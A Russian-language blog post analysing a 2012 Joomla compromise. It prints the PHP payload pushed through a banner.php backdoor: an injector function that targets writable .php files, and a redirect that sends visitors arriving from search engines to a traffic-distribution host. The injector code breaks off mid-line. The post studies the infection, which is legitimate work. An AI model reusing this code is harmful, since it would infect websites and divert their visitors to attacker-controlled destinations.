.
Место для Вашей рекламы
21 Август 2012

Анализ взлома Joomla через инъекцию кода banner.php

posted in security |

Выложу код, который подпихивают на исполнения уже для целевого заражения конкретных файлов сайта, на котором был внедрён скрипт banner.php, который выполняет переданный ему закодированный код (у меня это был /components/com_contact/banner.php)
К сожалению по логам не отследил самое главное — каким образом этот banner.php вообще попадает на сайт 🙁
Обновление движка до актуальной версии вроде как закрыло дыру (больше на сайте они не появляются)

В общем отследив бэкдорчик мне стало интересно, какой же именно код ему передают на выполнение — соответственно я чуток поправил код скрипта, заменив выполнение кода, на его сохранение в файлик для дальнейшего разбора …. и буквально сегодня ночью рыбка клюнула.

Не буду тянуть, вот код:

echo "zzzzz";
$code='
error_reporting(0);
$qazplm=headers_sent();
$referer=$_SERVER[\'HTTP_REFERER\'];
if (!$qazplm){
$uag=$_SERVER[\'HTTP_USER_AGENT\'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){header("Location: http://1letojdj.sellClassics.com/");
exit();
}
}
}
}
}';
function makechange ($path,$code){
        if (is_writable($path)) {
                if (is_file($path)) {
                        if (stristr($path,".php") and !stristr($path,"post") and !stristr($path,"movie") and !stristr($path,"banner") and !stristr($path,"img")){
                                $fo=file_get_contents ($path);
                                if (!stristr($fo,"base64")) {
                                        $aa=filectime ($path);
                                        $fi=preg_replace("/<\?php/","

Что же делает данный скрипт?
Ответ прост - пытается везде где только сможет сделать инъекцию следующего кода (предварительно его закодировав)

error_reporting(0);
$qazplm=headers_sent();
$referer=$_SERVER['HTTP_REFERER'];
if (!$qazplm){
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){header("Location: http://1letojdj.sellClassics.com/");
exit();
}
}
}
}
}

Какая же функция данной инъекции?
А функция довольно интересна - это перенаправление поискового трафика на систему управления трафиком http://1letojdj.sellClassics.com/ которая уже в свою очередь будет кидать туда, куда хозяин направит.
Если зайти на зараженный сайт не с поисковика - никаких вредоносных действий не будет предприниматься, соответственно владелец заражение своего сайта заметит не сразу.

Так же я ещё имел опыт с заражением .htaccess аналогичным функционалом - только перенаправлял он мобильный трафик с помощью mod_rewrite директив.
Тут подробнее.

P.S.
Ещё одна модификация этого же скрипта

$code='
error_reporting(0);
$qazplm=headers_sent();
$referer=$_SERVER[\'HTTP_REFERER\'];
if (!$qazplm){
$uag=$_SERVER[\'HTTP_USER_AGENT\'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){header("Location: http://1letojdj.sellClassics.com/");
exit();
}
}
}
}
}';
function makechange ($path,$code){
        if (is_writable($path)) {
                if (is_file($path)) {
                        if (stristr($path,".php") and !stristr($path,"banner") and !stristr($path,"movie") and !stristr($path,"post") and !stristr($path,"img")){
                                $fo=file_get_contents ($path);
                                if (!stristr($fo,"base64")) {
                                        $aa=filectime ($path);
                                        $fi=preg_replace("/<\?php/","

				
				

			

Оставить комментарий

Яндекс.Метрика